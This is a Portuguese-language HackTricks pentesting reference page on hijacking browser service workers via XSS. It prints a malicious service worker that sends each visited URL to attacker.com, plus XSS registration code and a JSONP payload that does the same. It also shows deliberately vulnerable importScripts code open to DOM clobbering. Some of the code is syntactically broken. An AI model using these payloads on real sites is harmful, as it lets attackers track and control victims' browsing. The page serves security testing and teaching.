hacktricks/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md

9.8 KiB

Explorando os Trabalhadores de Serviço

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. Experimente gratuitamente hoje.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


Informações Básicas

Um trabalhador de serviço é um script executado pelo seu navegador em segundo plano, separado de qualquer página da web, permitindo recursos que não requerem uma página da web ou interação do usuário, melhorando assim as capacidades de processamento offline e em segundo plano. Informações detalhadas sobre trabalhadores de serviço podem ser encontradas aqui. Ao explorar trabalhadores de serviço em um domínio da web vulnerável, os atacantes podem obter controle sobre as interações da vítima com todas as páginas dentro desse domínio.

Verificando Trabalhadores de Serviço Existente

Trabalhadores de serviço existentes podem ser verificados na seção Trabalhadores de Serviço da aba Aplicativo nas Ferramentas do Desenvolvedor. Outro método é visitar chrome://serviceworker-internals para uma visualização mais detalhada.

Notificações Push

As permissões de notificação push impactam diretamente a capacidade de um trabalhador de serviço de se comunicar com o servidor sem interação direta do usuário. Se as permissões forem negadas, isso limita o potencial do trabalhador de serviço de representar uma ameaça contínua. Por outro lado, conceder permissões aumenta os riscos de segurança ao permitir a recepção e execução de possíveis exploits.

Ataque Criando um Trabalhador de Serviço

Para explorar essa vulnerabilidade, você precisa encontrar:

  • Uma maneira de carregar arquivos JS arbitrários no servidor e um XSS para carregar o trabalhador de serviço do arquivo JS carregado
  • Uma solicitação JSONP vulnerável onde você pode manipular a saída (com código JS arbitrário) e um XSS para carregar o JSONP com um payload que irá carregar um trabalhador de serviço malicioso.

No exemplo a seguir, vou apresentar um código para registrar um novo trabalhador de serviço que irá ouvir o evento fetch e enviar para o servidor dos atacantes cada URL acessado (este é o código que você precisaria carregar para o servidor ou carregar via uma resposta JSONP vulnerável):

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

E este é o código que irá registrar o worker (o código que você deveria ser capaz de executar abusando de um XSS). Neste caso, uma requisição GET será enviada para o servidor dos atacantes notificando se o registro do service worker foi bem-sucedido ou não:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

No caso de abusar de um ponto final JSONP vulnerável, você deve colocar o valor dentro de var sw. Por exemplo:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

Existe um C2 dedicado à exploração de Service Workers chamado Shadow Workers que será muito útil para abusar dessas vulnerabilidades.

A diretiva de cache de 24 horas limita a vida de um service worker (SW) malicioso ou comprometido a no máximo 24 horas após a correção de uma vulnerabilidade de XSS, assumindo status de cliente online. Para minimizar a vulnerabilidade, os operadores do site podem reduzir o Tempo de Vida (TTL) do script do SW. Os desenvolvedores também são aconselhados a criar um interruptor de desativação do service worker para desativação rápida.

Abusando do importScripts em um SW via DOM Clobbering

A função importScripts chamada de um Service Worker pode importar um script de um domínio diferente. Se esta função for chamada usando um parâmetro que um atacante poderia modificar, ele seria capaz de importar um script JS de seu domínio e obter XSS.

Isso até mesmo burla as proteções CSP.

Exemplo de código vulnerável:

  • index.html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
  • sw.js
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

Com DOM Clobbering

Para mais informações sobre o que é o DOM Clobbering, consulte:

{% content-ref url="dom-clobbering.md" %} dom-clobbering.md {% endcontent-ref %}

Se a URL/domínio que o SW está usando para chamar importScripts estiver dentro de um elemento HTML, é possível modificá-lo via DOM Clobbering para fazer o SW carregar um script do seu próprio domínio.

Para um exemplo disso, consulte o link de referência.

Referências

Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. Experimente gratuitamente hoje.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥